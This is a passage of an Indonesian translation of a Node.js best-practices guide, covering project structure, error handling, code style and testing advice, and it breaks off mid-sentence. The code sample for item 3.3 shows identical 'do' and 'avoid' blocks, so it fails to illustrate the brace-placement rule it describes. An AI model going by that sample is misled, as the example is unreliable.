merilis seksi Docker dengan Node.js yang mengandung 15 poin tentang teknik pengkodean yang lebih baik dengan Docker\n\n<br/><br/>\n\n# Selamat Datang! 3 Hal Yang Harus Anda Ketahui\n\n**1. Anda sedang membaca berbagai artikel Node.js terbaik -** repositori ini adalah ringkasan dan kurasi dari konten peringkat teratas dalam praktik terbaik Node.js, serta konten yang ditulis oleh kolaborator\n\n**2. Ini adalah kompilasi terbesar, dan berkembang tiap minggu -** saat ini, lebih dari 80 praktik terbaik, panduan gaya, dan tips arsitektural tersajikan. Issue baru dan pull request dibuat setiap hari agar kontennya tetap diperbarui. Kami senang melihat Anda berkontribusi di sini, maupun itu memperbaiki kesalahan kode, membantu dalam terjemahan, atau menyarankan ide cemerlang yang baru. Lihat [pedoman menulis](./.operations/writing-guidelines.md) kami\n\n**3. Praktik terbaik mempunyai informasi tambahan -** kebanyakan poin mempunyai tautan **🔗Baca selengkapnya** yang memperluas praktiknya dengan contoh kode, kutipan dari blog terpilih, dan informasi lebih lanjut\n\n<br/><br/>\n\n## Daftar Isi\n\n1. [Praktik Struktur Proyek (5)](#1-praktik-struktur-proyek)\n2. [Praktik Penanganan Kesalahan (11) ](#2-praktik-penanganan-kesalahan)\n3. [Praktik Gaya Kode (12) ](#3-praktik-gaya-kode)\n4. [Praktik Pengujian dan Kualitas Secara Keseluruhan (13) ](#4-praktik-pengujian-dan-kualitas-secara-keseluruhan)\n5. [Praktik Dalam Produksi(19) ](#5-praktik-dalam-produksi)\n6. [Praktik Keamanan (25)](#6-praktik-terbaik-keamanan)\n7. [Praktik Performa (2) (Pekerjaan Dalam Proses ✍️)](#7-draf-praktik-terbaik-performa)\n8. [Praktik Docker (15)](#8-praktik-terbaik-docker)\n\n<br/><br/>\n\n# `1. Praktik Struktur Proyek`\n\n## ![✔] 1.1 Susun solusi Anda berdasarkan komponen\n\n**TL;DR:** Masalah terburuk pada aplikasi besar adalah mengurus basis kode yang sangat besar dengan ratusan dependensi - monolit seperti itu memperlambat pengembang saat mereka mencoba untuk menambahkan fitur baru. Sebaiknya, partisi kode Anda menjadi beberapa komponen, setiap komponen mendapatkan foldernya sendiri atau basis kode tersendiri, dan pastikan setiap unit untuk tetap kecil dan sederhana. Kunjungi 'Baca selengkapnya' di bawah ini untuk melihat contoh struktur proyek yang benar\n\n**Jika tidak:** Saat pengembang yang menambahkan fitur baru kesusahan untuk melihat dampak dari perubahan mereka dan takut akan merusak komponen lain yang bergantung - _deployment_ menjadi lebih lambat dan berisiko. Kode juga dianggap lebih sulit untuk dikembangkan ketika semua unit bisnis tidak dipisahkan\n\n🔗 [**Baca selengkapnya: structure by components**](./sections/projectstructre/breakintcomponents.md)\n\n<br/><br/>\n\n## ![✔] 1.2 Lapisi komponen Anda, pastikan lapisan web tetap dalam batasannya\n\n**TL;DR:** Setiap komponen harus mengandung 'lapisan' - objek khusus untuk web, logika, dan kode akses data. Hal ini tidak hanya menggambarkan _separation of concerns_ dengan jelas namun juga memudahkan _mocking_ dan pengujian sistem. Meskipun ini adalah pola yang sangan umum, pengembang API cenderung mencampur lapisan dengan meneruskan objek lapisan web (misalnya Express req, res) ke logika bisnis dan lapisan data - ini membuat aplikasi Anda bergantung dan hanya bisa diakses oleh framework web tertentu\n\n**Jika tidak:** Aplikasi yang menggabungkan objek web dengan lapisan lain tidak dapat diakses oleh kode pengujian, pekerjaan CRON, triggers dari message queues, dll.\n\n🔗 [**Baca selengkapnya: layer your app**](./sections/projectstructre/createlayers.md)\n\n<br/><br/>\n\n## ![✔] 1.3 Bungkus utilitas umum sebagai paket npm\n\n**TL;DR:** Pada aplikasi besar yang memiliki basis kode yang besar, utilitas _cross-cutting-concern_ seperti logger, enkripsi dan yang serupa, harus dibungkus oleh kode Anda dan terekspos sebagai paket npm tersendiri. Ini memungkinkan untuk membagikan utilitas tersebut di antara beberapa basis kode dan proyek\n\n**Jika tidak:** Anda harus membuat cara _deployment_ dan _dependency_ Anda sendiri\n\n🔗 [**Baca selengkapnya: Structure by feature**](./sections/projectstructre/wraputilities.md)\n\n<br/><br/>\n\n## ![✔] 1.4 Pisahkan 'app' dan 'server' Express\n\n**TL;DR:** Hindari kebiasaan buruk dalam mendefinisikan seluruh aplikasi [Express](https://expressjs.com/) dalam satu file besar - pisahkan definisi 'Express' Anda menjadi setidaknya dua file: deklarasi untuk API (app.js) dan untuk jaringan (WWW). Untuk struktur yang lebih baik lagi, letak deklarasi API Anda di dalam komponen\n\n**Jika tidak:** API Anda hanya dapat diakses untuk pengujian melalui panggilan HTTP (lebih lambat and lebih susah untuk membuat laporan cakupan pengujian). Mengurus ratusan baris kode dalam satu file mungkin bukanlah hal yang menyenangkan\n\n🔗 [**Baca selengkapnya: separate Express 'app' and 'server'**](./sections/projectstructre/separateexpress.md)\n\n<br/><br/>\n\n## ![✔] 1.5 Gunakan konfigurasi yang sadar atas lingkungan, aman dan hierarkis\n\n**TL;DR:** Pengaturan konfigurasi yang sempurna harus memastikan (a) kunci dapat dibaca dari file DAN dari variabel lingkungan (b) rahasia disimpan di luar kode (c) konfigurasi bersifat hierarkis agar mudah ditemukan. Ada beberapa paket yang dapat mempermudah pengaturan tersebut seperti [rc](https://www.npmjs.com/package/rc), [nconf](https://www.npmjs.com/package/nconf), [config](https://www.npmjs.com/package/config), dan [convict](https://www.npmjs.com/package/convict).\n\n**Jika tidak:** Gagal untuk memenuhi salah satu persyaratan konfigurasi hanya akan menghambat tim pengembang atau DevOps. Mungkin keduanya\n\n🔗 [**Baca selengkapnya: configuration best practices**](./sections/projectstructre/configguide.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `2. Praktik Penanganan Kesalahan`\n\n## ![✔] 2.1 Gunakan Async-Await atau promise untuk penanganan kesalahan asinkron\n\n**TL;DR:** Menangani kesalahan asinkron dalam panggilan balik mungkin adalah cara terburuk (a.k.a the pyramid of doom). Hal terbaik yang dapat Anda berikan ke kode Anda adalah dengan menggunakan pustaka promise dengan reputasi yang baik atau gunakan async-await yang membuat sintaks kode menjadi lebih ringkas dan familier seperti try-catch\n\n**Jika tidak:** Gaya panggilan balik Node.js, function(err, response), adalah cara yang menjanjikan untuk kode yang tidak dapat dipelihara karena campuran dari penanganan kesalahan dengan kode kasual, bersarang yang berlebihan, dan pola pengkodean yang canggung\n\n🔗 [**Baca selengkapnya: avoiding callbacks**](./sections/errorhandling/asyncerrorhandling.md)\n\n<br/><br/>\n\n## ![✔] 2.2 Gunakan hanya objek Error bawaan\n\n**TL;DR:** Banyak pengembang melempar error sebagai string atau tipe khusus – ini mempersulit logika penanganan kesalahan dan interoperabilitas antar modul. Maupun Anda menolak sebuah _promise_, melontarkan sebuah pengecualian atau mengeluarkan error – dengan hanya menggunakan objek Error bawaan (atau objek yang memperluas objek Error bawaan) dapat meningkatkan keseragaman dan mencegah hilangnya informasi\n\n**Jika tidak:** Saat menjalankan beberapa komponen, karena tidak yakin jenis kesalahan yang akan di lempar – ini membuat penanganan kesalahan yang benar jauh lebih sulit. Lebih buruk lagi, menggunakan tipe khusus untuk mendeskripsikan kesalahan dapat menyebabkan hilangnya informasi kesalahan kritis seperti _stack trace_!\n\n🔗 [**Baca selengkapnya: using the built-in error object**](./sections/errorhandling/useonlythebuiltinerror.md)\n\n<br/><br/>\n\n## ![✔] 2.3 Membedakan kesalahan operasional dan kesalahan pengembang\n\n**TL;DR:** Kesalahan operasional (contohnya API menerima masukan yang tidak valid) merupakan kasus kesalahan yang diketahui di mana dampak dari kesalahannya dapat dipahami sepenuhnya dan dapat ditangani dengan cermat. Di sisi lain, kesalahan pengembang (contohnya mencoba membaca variabel yang tidak ditentukan) merupakan kegagalan kode yang tidak diketahui yang menentukan untuk memulai ulang aplikasi dengan baik\n\n**Jika tidak:** Anda selalu dapat memulai ulang aplikasi Anda ketika kesalahan muncul, namun kenapa mengecewakan ~5000 pengguna hanya karena kesalahan operasional yang kecil dan dapat diprediksi? hal sebaliknya juga tidak ideal – membiarkan aplikasi tetap berjalan ketika terdapat kesalahan yang tidak diketahui (kesalahan oleh pengembang) dapat menyebabkan perilaku yang tidak terduga. Membedakan kedua kesalahan tersebut memungkinkan untuk melakukan tindakan yang benar dan menerapkan cara penyelesaian masalah yang sesuai dengan konteks yang diberikan\n\n🔗 [**Baca selengkapnya: operational vs programmer error**](./sections/errorhandling/operationalvsprogrammererror.md)\n\n<br/><br/>\n\n## ![✔] 2.4 Tangani kesalahan secara terpusat, bukan dalam middleware\n\n**TL;DR:** Logika penanganan kesalahan seperti pengiriman pesan ke admin dan pencatatan harus dikemas dalam objek khusus dan terpusat yang dipanggil oleh semua endpoint (contohnya middleware Express, pekerjaan cron, pengujian unit) ketika ada kesalahan\n\n**Jika tidak:** Tidak menangani kesalahan dalam satu tempat akan menyebabkan duplikasi kode dan mungkin kesalahan yang tidak ditangani dengan tepat\n\n🔗 [**Baca selengkapnya: handling errors in a centralized place**](./sections/errorhandling/centralizedhandling.md)\n\n<br/><br/>\n\n## ![✔] 2.5 Mendokumentasikan kesalahan API menggunakan Swagger atau GraphQL\n\n**TL;DR:** Beri tahu pemanggil API Anda kesalahan apa yang mungkin dapat diterima sehingga mereka dapat menanganinya dengan baik tanpa merusak aplikasinya. Untuk API RESTful, hal ini biasanya dilakukan dengan framework dokumentasi seperti Swagger. Jika Anda menggunakan GraphQL, Anda juga dapat memanfaatkan skema dan komentar.\n\n**Jika tidak:** Klien API mungkin memutuskan untuk memberhentikan aplikasi dan memulai ulang hanya karena menerima kesalahan yang tidak dapat dipahami. Catatan: pemanggil API mungkin adalah Anda (sangat umum dalam lingkungan _microservice_)\n\n🔗 [**Baca selengkapnya: documenting API errors in Swagger or GraphQL**](./sections/errorhandling/documentingusingswagger.md)\n\n<br/><br/>\n\n## ![✔] 2.6 Hentikan proses dengan benar ketika orang asing datang ke kota\n\n**TL;DR:** Ketika terjadi kesalahan yang tidak diketahui (kesalahan pengembang, lihat praktik terbaik 2.3) - ada ketidakpastian tentang kesehatan aplikasi. Praktik umum menyarankan untuk memulai kembali proses dengan hati-hati menggunakan alat manajemen proses seperti [Forever](https://www.npmjs.com/package/forever) atau [PM2](http://pm2.keymetrics.io/)\n\n**Jika tidak:** Ketika pengecualian yang tidak dikenal terjadi, beberapa objek mungkin dalam keadaan rusak (contohnya event emitter yang digunakan secara global dan tidak dapat mengaktifkan event lagi karena kesalahan internal) dan semua panggilan yang akan datang mungkin akan gagal atau tidak berperilaku dengan normal\n\n🔗 [**Baca selengkapnya: shutting the process**](./sections/errorhandling/shuttingtheprocess.md)\n\n<br/><br/>\n\n## ![✔] 2.7 Gunakan alat pencatat yang baik untuk meningkatkan visibilitas kesehatan\n\n**TL;DR:** Satu set alat pencatat yang baik seperti [Pino](https://github.com/pinojs/pino) atau [Log4js](https://www.npmjs.com/package/log4js), akan mempercepat penemuan dan pemahaman suatu kesalahan. Jadi tinggalkan console.log\n\n**Jika tidak:** Melihat beberapa console.log atau secara manual melalui file teks yang berantakan tanpa alat kueri atau penampil catatan yang baik dapat membuat Anda sibuk di tempat kerja hingga larut\n\n🔗 [**Baca selengkapnya: using a mature logger**](./sections/errorhandling/usematurelogger.md)\n\n<br/><br/>\n\n## ![✔] 2.8 Uji aliran kesalahan menggunakan framework pengujian favorit Anda\n\n**TL;DR:** Maupun itu QA otomatis profesional ataupun pengujian manual oleh pengembang – Pastikan bahwa kode Anda tidak hanya memenuhi skenario positif namun juga menangani dan mengembalikan jenis kesalahan yang tepat. Framework testing seperti Mocha & Chai dapat menangani ini dengan mudah (lihat contoh kode dalam \"Gist popup\")\n\n**Jika tidak:** Tanpa testing, maupun secara otomatis ataupun manual, Anda tidak dapat mengandalkan kode Anda untuk mengembalikan jenis kesalahan yang tepat. Tanpa jenis kesalahan yang berarti – tidak ada penanganan kesalahan\n\n🔗 [**Baca selengkapnya: testing error flows**](./sections/errorhandling/testingerrorflows.md)\n\n<br/><br/>\n\n## ![✔] 2.9 Temukan kesalahan dan waktu henti menggunakan produk APM\n\n**TL;DR:** Produk pemantauan dan kinerja (a.k.a APM) secara proaktif mengukur basis kode atau API sehingga mereka dapat secara otomatis menyorot kesalahan, kerusakan, dan bagian lambat yang Anda lewatkan\n\n**Jika tidak:** Anda mungkin menghabiskan banyak usaha untuk mengukur kinerja dan waktu henti API, mungkin Anda tidak akan menyadari bagian kode mana yang paling lambat dalam skenario dunia nyata dan bagaimana hal ini dapat memengaruhi pengalaman pengguna\n\n🔗 [**Baca selengkapnya: using APM products**](./sections/errorhandling/apmproducts.md)\n\n<br/><br/>\n\n## ![✔] 2.10 Tangkap penolakan _promise_ yang tidak tertangani\n\n**TL;DR:** Semua pengecualian yang dilemparkan ke dalam _promise_ akan ditelan dan dibuang kecuali pengembang tidak lupa untuk menanganinya secara eksplisit. Meskipun kode Anda berlangganan ke `process.uncaughtException`! Atasi ini dengan mendaftarkan ke event `process.unhandledRejection`\n\n**Jika tidak:** Kesalahan dari kode Anda akan ditelan dan hilang tanpa jejak. Tidak ada yang perlu dikhawatirkan\n\n🔗 [**Baca selengkapnya: catching unhandled promise rejection**](./sections/errorhandling/catchunhandledpromiserejection.md)\n\n<br/><br/>\n\n## ![✔] 2.11 Gagal lebih dini, validasi argumen menggunakan pustaka khusus\n\n**TL;DR:** Tegaskan masukan API untuk menghindari bug yang lebih sulit dilacak nantinya. Kode untuk validasi biasanya berantakan kecuali Anda menggunakan pustaka pembantu yang keren seperti [ajv](https://www.npmjs.com/package/ajv) dan [Joi](https://www.npmjs.com/package/joi)\n\n**Jika tidak:** Anggap seperti ini – jika fungsi Anda mengharapkan argumen numerik “Diskon” yang lupa diletak oleh pemanggil, kemudian, kode Anda memeriksa jika Diskon!=0 (jumlah diskon yang diizinkan lebih besar dari nol), maka itu akan memungkinkan pengguna untuk menikmati diskon. OMG, bug yang sangat buruk. Bisakah Anda melihatnya?\n\n🔗 [**Baca selengkapnya: failing fast**](./sections/errorhandling/failfast.md)\n\n<br/><br/>\n\n## ![✔] 2.12 Selalu _await promise_ sebelum mengembalikan nilai untuk menghindari _stacktrace_ yang tidak lengkap\n\n**TL;DR:** Selalu lakukan `return await` ketika mengembalikan sebuah _promise_ untuk memanfaatkan _stacktrace_ kesalahan yang lengkap. Jika sebuah fungsi mengembalikan _promise_, fungsi tersebut harus dideklarasikan sebagai fungsi `async` dan `await` fungsi tersebut secara eksplisit sebelum mengembalikannya\n\n**Jika tidak:** Fungsi yang mengembalikan _promise_ tanpa `await` tidak akan muncul di _stacktrace_.\nKerangka yang hilang seperti itu mungkin akan mempersulit pemahaman tentang aliran yang mengarah ke kesalahan,\nterutama jika penyebab perilaku yang tidak normal ada di dalam fungsi yang hilang itu\n\n🔗 [**Baca selengkapnya: returning promises**](./sections/errorhandling/returningpromises.md)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `3. Praktik Gaya Kode`\n\n## ![✔] 3.1 Gunakan ESLint\n\n**TL;DR:** [ESLint](https://eslint.org) adalah standar de-facto untuk memeriksa kemungkinan kesalahan kode dan memperbaiki gaya kode, bukan hanya untuk mengidentifikasi masalah spasi tetapi juga untuk mendeteksi kode anti-pola yang serius seperti pengembang melemparkan kesalahan tanpa klasifikasi. Meskipun ESLint dapat memperbaiki gaya kode secara otomatis, alat lain seperti [prettier](https://www.npmjs.com/package/prettier) dan [beautify](https://www.npmjs.com/package/js-beautify) lebih baik dalam memformat perbaikan kodenya dan dapat bekerja sama dengan ESLint\n\n**Jika tidak:** Pengembang akan fokus pada masalah spasi dan lebar garis dan waktu mungkin akan terbuang hanya untuk memikirkan gaya kode pada proyek\n\n🔗 [**Baca selengkapnya: Using ESLint and Prettier**](./sections/codestylepractices/eslint_prettier.md)\n\n<br/><br/>\n\n## ![✔] 3.2 Plugin khusus Node.js\n\n**TL;DR:** Selain aturan standar ESLint yang mencakup vanilla JavaScript, tambahkan plugin khusus Node.js seperti [eslint-plugin-node](https://www.npmjs.com/package/eslint-plugin-node), [eslint-plugin-mocha](https://www.npmjs.com/package/eslint-plugin-mocha) dan [eslint-plugin-node-security](https://www.npmjs.com/package/eslint-plugin-security)\n\n**Jika tidak:** Banyak pola kode Node.js yang salah dapat lolos dari radar. Contohnya, pengembang mungkin melakukan require(variableAsPath) pada file dengan variabel sebagai path yang memungkinkan penyerang untuk mengeksekusi skrip JS apa pun. Linters Node.js dapat mendeteksi pola tersebut dan memberikan peringatan lebih awal\n\n<br/><br/>\n\n## ![✔] 3.3 Mulai kurung kurawal pada blok kode pada baris yang sama\n\n**TL;DR:** Tanda kurung kurawal pembuka blok kode harus di baris yang sama dengan statement pembuka\n\n### Contoh Kode\n\n```javascript\n// Lakukan\nfunction someFunction() {\n  // blok kode\n}\n\n// Hindari\nfunction someFunction() {\n  // blok kode\n}\n```\n\n**Jika tidak:** Tidak mengikuti praktik terbaik ini dapat menyebabkan hasil yang tidak terduga, seperti yang terlihat pada thread StackOverflow di bawah ini:\n\n🔗 [**Baca selengkapnya:** \"Why do results vary based on curly brace placement?\" (StackOverflow)](https://stackoverflow.com/questions/3641519/why-does-a-results-vary-based-on-curly-brace-placement)\n\n<br/><br/>\n\n## ![✔] 3.4 Pisahkan statement Anda dengan benar\n\nTidak peduli jika Anda menggunakan titik koma atau tidak untuk memisahkan statement Anda, mengetahui akibat umum dari pemutusan baris yang tidak tepat atau penyisipan titik koma otomatis, akan membantu Anda mengurangi kesalahan sintaks biasa.\n\n**TL;DR:** Gunakan ESLint untuk mendapatkan perhatian tentang masalah pemisahan. [Prettier](https://prettier.io/) atau [Standardjs](https://standardjs.com/) dapat menyelesaikan masalah ini secara otomatis.\n\n**Jika tidak:** Seperti yang terlihat di bagian sebelumnya, penerjemah JavaScript secara otomatis menambah titik koma pada akhir statement jika tidak ada, atau anggap sebuah statement tidak diakhiri di tempat yang seharusnya, yang dapat mengarah pada hasil yang tidak diinginkan. Anda dapat menggunakan penetapan dan hindari penggunaan ekspresi fungsi yang langsung dipanggil untuk mencegah sebagian besar masalah yang tidak terduga.\n\n### Contoh kode\n\n```javascript\n// Lakukan\nfunction doThing() {\n    // ...\n}\n\ndoThing()\n\n// Lakukan\n\nconst items = [1, 2, 3]\nitems.forEach(console.log)\n\n// Hindari — melempar pengecualian\nconst m = new Map()\nconst a = [1,2,3]\n[...m.values()].forEach(console.log)\n> [...m.values()].forEach(console.log)\n>  ^^^\n> SyntaxError: Unexpected token ...\n\n// Hindari — melempar pengecualian\nconst count = 2 // mencoba menjalankan 2(), tapi 2 bukanlah sebuah fungsi\n(function doSomething() {\n  // lakukan sesuatu\n}())\n// letakkan titik koma sebelum fungsi yang langsung dipanggil, setelah pendefinisian const, simpan nilai kembali dari fungsi anonim ke sebuah variabel atau hindari IIFE (ekspresi fungsi yang langsung dipanggil) sepenuhnya\n```\n\n🔗 [**Baca selengkapnya:** \"Semi ESLint rule\"](https://eslint.org/docs/rules/semi)\n🔗 [**Baca selengkapnya:** \"No unexpected multiline ESLint rule\"](https://eslint.org/docs/rules/no-unexpected-multiline)\n\n<br/><br/>\n\n## ![✔] 3.5 Namakan fungsi Anda\n\n**TL;DR:** Namakan semua fungsi, termasuk closure dan panggilan balik. Hindari fungsi anonim. Ini sangat berguna saat mengukur sebuah aplikasi node. Menamakan semua fungsi memungkinkan Anda untuk memahami dengan mudah apa yang Anda lihat saat memeriksa snapshot memori\n\n**Jika tidak:** Men-debug masalah produksi menggunakan core dump (snapshot memori) dapat menjadi tantangan karena Anda melihat konsumsi memori yang signifikan dari fungsi anonim\n\n<br/><br/>\n\n## ![✔] 3.6 Gunakan konvensi penamaan untuk variabel, konstanta, fungsi dan kelas\n\n**TL;DR:** Gunakan **_lowerCamelCase_** saat memberi nama konstanta, variabel dan fungsi dan **_UpperCamelCase_** (huruf besar pada huruf pertama) saat memberi nama kelas. Ini akan membantu Anda dengan mudah untuk membedakan variabel/fungsi biasa, dan kelas yang membutuhkan instansiasi. Gunakan nama yang deskriptif, tetapi usahakan untuk tetap pendek\n\n**Jiak tidak:** Javascript adalah satu-satunya bahasa di dunia yang memungkinkan pemanggilan konstruktor kelas (\"Class\") secara langsung tanpa membuat instansinya terlebih dahulu. Akibatnya, kelas dan fungsi-konstruktor dibedakan dimulai dengan UpperCamelCase\n\n### 3.6 Contoh Kode\n\n```javascript\n// untuk nama kelas kita gunakan UpperCamelCase\nclass SomeClassExample {}\n\n// untuk nama const kita gunakan kata kunci const dan lowerCamelCase\nconst config = {\n  key: \"value\",\n};\n\n// untuk nama variabel dan fungsi kita gunakan lowerCamelCase\nlet someVariableExample = \"value\";\nfunction doSomething() {}\n```\n\n<br/><br/>\n\n## ![✔] 3.7 Utamakan penggunaan const daripada let. Singkirkan var\n\n**TL;DR:** Menggunakan `const` berarti bahwa setelah nilai variabel itu ditetapkan, nilainya tidak dapat ditetapkan kembali. Menggunakan `const` akan membantu Anda untuk tidak tergoda untuk menggunakan variabel yang sama untuk penggunaan yang berbeda, dan membuat kode Anda lebih jelas. Jika sebuah variabel perlu ditetapkan kembali nilainya, di dalam perulangan for, misalnya, deklarasikan menggunakan `let`. Aspek penting lainnya dari `let` adalah variabel yang dideklarasikan menggunakan `let` hanya tersedia di dalam cakupan blok di mana variabel itu didefinisikan. `var` memiliki cakupan dalam fungsi, bukan dalam blok, dan [tidak boleh digunakan di ES6](https://hackernoon.com/why-you-shouldnt-use-var-anymore-f109a58b9b70) setelah Anda mempunyai `const` dan `let`\n\n**Jika tidak:** Men-debug menjadi lebih rumit saat mengikuti variabel yang sering berubah\n\n🔗 [**Baca selengkapnya: JavaScript ES6+: var, let, or const?** ](https://medium.com/javascript-scene/javascript-es6-var-let-or-const-ba58b8dcde75)\n\n<br/><br/>\n\n## ![✔] 3.8 _Require_ modul terlebih dahulu, bukan di dalam fungsi\n\n**TL;DR:** _Require_ modul di awal setiap file, sebelum dan di luar semua fungsi. Praktik terbaik sederhana ini tidak hanya membantu Anda dengan mudah dan cepat untuk mengetahui dependensi file di awal sebuah file tetapi juga menghindari beberapa potensi masalah\n\n**Jika tidak:** _Require_ dijalankan secara sinkron oleh Node.js. Jika mereka dipanggil dalam sebuah fungsi, ini mungkin dapat memblokir permintaan lain untuk ditangani pada waktu yang lebih kritis. Selain itu, jika modul yang diperlukan atau salah satu dependensinya menimbulkan kesalahan dan merusak server, akan lebih baik untuk mengetahuinya sesegera mungkin, yang mungkin tidak akan terjadi jika modul itu dipanggil dalam sebuah fungsi\n\n<br/><br/>\n\n## ![✔] 3.9 _Require_ modul berdasarkan folder, bukan file secara langsung\n\n**TL;DR:** Saat mengembangkan sebuah modul/pustaka dalam sebuah folder, letak file index.js yang mengekspos modul internal sehingga setiap konsumen akan melewatinya. Ini berfungsi sebagai 'antarmuka' ke modul Anda dan memudahkan perubahan di masa mendatang tanpa merusak kontrak\n\n**Jika tidak:** Mengubah struktur internal sebuah file atau tanda tangannya dapat merusak antarmuka dengan klien\n\n### 3.9 Contoh kode\n\n```javascript\n// Lakukan\nmodule.exports.SMSProvider = require(\"./SMSProvider\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver\");\n\n// Hindari\nmodule.exports.SMSProvider = require(\"./SMSProvider/SMSProvider.js\");\nmodule.exports.SMSNumberResolver = require(\"./SMSNumberResolver/SMSNumberResolver.js\");\n```\n\n<br/><br/>\n\n## ![✔] 3.10 Gunakan operator `===`\n\n**TL;DR:** Utamakan operator persamaan ketat `===` daripada operator persamaan abstrak `==` yang lebih lemah. `==` akan membandingkan dua variabel setelah mengubahnya ke tipe umum. Tidak ada konversi tipe di `===`, dan kedua variabel harus sejenis agar sama\n\n**Jika tidak:** Variabel yang tidak sama dapat mengembalikan _true_ ketika dibandingkan dengan operator `==`\n\n### 3.10 Contoh kode\n\n```javascript\n\"\" == \"0\"; // false\n0 == \"\"; // true\n0 == \"0\"; // true\n\nfalse == \"false\"; // false\nfalse == \"0\"; // true\n\nfalse == undefined; // false\nfalse == null; // false\nnull == undefined; // true\n\n\" \\t\\r\\n \" == 0; // true\n```\n\nSemua pernyataan di atas akan mengembalikan nilai _false_ jika menggunakan `===`\n\n<br/><br/>\n\n## ![✔] 3.11 Gunakan Async Await, hindari panggilan balik\n\n**TL;DR:** Node 8 LTS sekarang memiliki dukungan penuh untuk Async-await. Ini adalah cara baru untuk menangani kode asinkron yang menggantikan panggilan balik dan _promise_. Async-await bersifat tidak memblokir, dan ini membuat kode asinkron terlihat seperti sinkron. Hadiah terbaik yang dapat Anda berikan untuk kode Anda adalah menggunakan async-await yang menyediakan sintaks yang lebih ringkas dan akrab seperti try-catch\n\n**Jika tidak:** Menangani kesalahan asinkron dalam gaya panggilan balik mungkin adalah cara terburuk - gaya ini memeriksa kesalahan secara menyeluruh, menangani tumpukan kode yang canggung, dan menyulitkan untuk menjelaskan aliran kode\n\n🔗[**Baca selengkapnya:** Guide to async-await 1.0](https://github.com/yortus/asyncawait)\n\n<br/><br/>\n\n## ![✔] 3.12 Gunakan ekspresi fungsi panah (=>)\n\n**TL;DR:** Meskipun disarankan untuk menggunakan async-await dan menghindari parameter fungsi saat berurusan dengan API lama yang menerima promise atau panggilan balik - fungsi panah membuat struktur kode lebih ringkas dan menjaga konteks leksikal dari akar fungsi (contohnya `this`)\n\n**Jika tidak:** Kode yang lebih panjang (dalam fungsi ES5) lebih rentan terhadap masalah dan rumit untuk dibaca\n\n🔗 [**Baca selengkapnya: It’s Time to Embrace Arrow Functions**](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)\n\n<br/><br/><br/>\n\n<p align=\"right\"><a href=\"#daftar-isi\">⬆ Kembali ke atas</a></p>\n\n# `4. Praktik Pengujian dan Kualitas Secara Keseluruhan`\n\n## ![✔] 4.1 Paling tidak, buat pengujian API (komponen)\n\n**TL;DR:** Sebagian besar proyek tidak memiliki pengujian otomatis karena jadwal yang singkat atau 'proyek pengujian' sering tidak terkendali dan ditinggalkan. Oleh karena itu, prioritaskan dan mulailah dengan pengujian API yang merupakan cara termudah untuk menulis dan memberikan cakupan yang lebih dari pengujian unit (Anda bahkan dapat membuat pengujian API tanpa kode menggunakan alat seperti [Postman](https://www.getpostman.com/). Setelah itu, jika Anda mempunyai waktu dan sumber daya yang lebih, lanjutkan dengan pengujian yang lebih tinggi seperti pengujian unit, pengujian DB, pengujian performa, dll.\n\n**Jika tidak:** Anda mungkin menghabiskan waktu yang lama untuk menulis pengujian unit untuk mengetahui bahwa Anda hanya mencakup 20% dari sistem\n\n<br/><br/>\n\n## ![✔] 4.2 Sertakan 3 bagian di setiap nama pengujian\n\n**TL;DR:** Buatlah pengujian yang setara dengan tingkat persyaratan sehingga cukup jelas untuk _Engineer_ QA dan pengembang yang tidak terbiasa dengan kode internal. Sebutkan dalam nama pengujian apa yang akan diuji (unit dalam pengujian), dalam keadaan apa, dan apa hasil yang diharapkan\n\n**Jika tidak:** Deployment baru saja gagal, sebuah pengujian bernama “Tambah produk” gagal. Apakah ini memberi tahu Anda dengan tepat apa yang tidak berfungsi?\n\n🔗 [**Baca selengkapnya: Include 3 parts in each test name**](./sections/testingandquality/3-parts-in-name.md)\n\n<br/><br/>\n\n## ![✔] 4.3 Strukturkan pengujian Anda dengan pola AAA\n\n**TL;DR:** Strukturkan pengujian dengan 3 bagian yang terpisah dengan baik: _Arrange, Act & Assert_ (AAA). Bagian pertama mencakup penyiapan untuk pengujian, kemudian eksekusi unit yang akan diuji, dan yang terakhir fase _assertion_. Mengikuti struktur ini menjamin bahwa pembaca tidak menghabiskan tenaga otak untuk memahami rencana pengujian\n\n**Jika tidak:** Tidak hanya Anda menghabiskan waktu yang lama untuk memahami kode utama, tetapi sekarang hal paling mudah dari hari Anda (melakukan pengujian) dapat meregangkan otak Anda\n\n🔗 [**Baca selengkapnya: Structure tests by the AAA pattern**](./sections/testingandquality/aaa.md)\n\n<br/><br/>\n\n## ![✔] 4.4 Deteksi masalah kode dengan _linter_\n\n**TL;DR:** Gunakan _linter_ kode untuk memeriksa kualitas dasar dan mendeteksi anti-pola sejak dini. Jalankan _linter_ sebelum pengujian dan tambahkan _linter_ sebagai pra-commit git-hook untuk meminimalkan waktu yang dibutuhkan untuk meninjau dan memperbaiki masalah apa pun. Periksa juga [Bagian 3](#3-praktik-gaya-kode) tentang Praktik Gaya Kode\n\n**Jika Tidak:** Anda dapat membiarkan beberapa kode dengan anti-pola dan mungkin kode yang tidak aman masuk ke lingkungan produksi Anda.\n\n<br/><br/>\n\n## ![✔] 4.5 Hindari perlengkapan dan benih global pada pengujian, tambah data pada setiap pengujian\n\n**TL;DR:** Untuk mencegah pengujian yang tersambung dan memudahkan untuk memahami alur pengujian, setiap pengujian harus menambah dan bertindak pada kumpulan data di DB-nya sendiri. Setiap kali pengujian perlu menarik atau mengasumsikan keberadaan suatu data pada DB - pengujian tersebut harus menambah data tersebut secara eksplisit dan hindari memutasi kumpulan data lainnya\n\n**Jika tidak:** Anggap sebuah skenario di mana _deployment_ gagal karena pengujian yang gagal, tim sekarang akan menghabiskan waktu yang berharga untuk melakukan investigasi yang berakhir dengan kesimpulan yang menyedihkan: sistem berfungsi dengan baik, namun pengujian saling mengganggu dan merusak _build_-nya\n\n🔗 [**Baca selengkapnya: Avoid global test fixtures**](./sections/testingandquality/avoid-global-test-fixture.md)\n\n<br/><br/>\n\n## ![✔] 4.6 Periksa terus menerus dependensi yang rentan\n\n**TL;DR:** Bahkan dependensi yang paling terkemuka seperti Express memiliki kerentanan yang diketahui. Hal ini dapat dimitigasi dengan mudah menggunakan alat dari komunitas atau komersial seperti 🔗 [npm 